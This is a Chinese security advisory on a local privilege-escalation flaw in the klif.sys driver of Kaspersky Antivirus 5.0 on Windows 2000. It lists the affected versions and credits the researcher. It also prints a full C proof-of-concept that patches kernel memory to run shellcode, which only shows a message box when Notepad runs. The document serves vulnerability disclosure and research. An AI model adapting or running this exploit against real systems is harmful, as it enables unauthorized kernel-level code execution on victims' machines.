Kaspersky杀毒软件klif.sys权限提升漏洞

受影响系统：
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述：
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Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限，攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源：Ilya Rabinovich （info@softsphere.com）

链接：http://marc.theaimsgroup.com/?l= ... 17777430401&w=2
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
0xFF,0xD0, //call eax
0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
0xFF,0xD0, //call eax
0x85,0xC0, //test eax,eax
0x74,0x03, //je +03
0xC2,0x04,0x00, //retn 4
0x6A,0x00, //push 0
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
0xFF,0xD0, //call eax
0xC2,0x04,0x00 //retn 4
};

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /
[0xBE9372B0]

//

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");

FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
*(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

PCHAR pNotepadName=(PCHAR)0xBE938200;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

lstrcpy(pNotepadName,temp_buffer);

PCHAR pMessage=(PCHAR)0xBE938400;

lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

memmove(pCodeBase,code,sizeof(code));

*pJmpAddress=(DWORD)pCodeBase;

memmove(pKAVRet,jmp_code,sizeof(jmp_code));

return TRUE;
}

///

void UnloadExploitFromKernelMemory(){

UCHAR retn_4[]={0xC2,0x04,0x00};

memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

UCHAR retn_4[]={0xC2,0x04,0x00};

__try{

for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

if(memcmp(pKAVRets,retn_4,sizeof(retn_4))==0)
return pKAVRets;

}

}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /
installed",NULL,0);return NULL;}


MessageBox(NULL,"Wrong KAV Version. You need 5.0.227, 5.0.228 or 5.0.335 versions of /
KAV",NULL,0);return NULL;
}

/

void main(void){

pKAVRet=GetKAVRetAddress();

if(NULL==pKAVRet)
return;


if(!LoadExploitIntoKernelMemory())
return;

char temp_buffer[MAX_PATH];
char *s;

SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

PROCESS_INFORMATION pi;

STARTUPINFO si={0};
si.cb=sizeof(si);

CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);

WaitForSingleObject(pi.hProcess,INFINITE);

MessageBox(NULL,"Now you may start your own Notepad instance to check this /
exploit!","KAV_EXPLOITER",0);

MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

UnloadExploitFromKernelMemory();
}

建议：
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厂商补丁：

Kaspersky Labs
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kaspersky.com/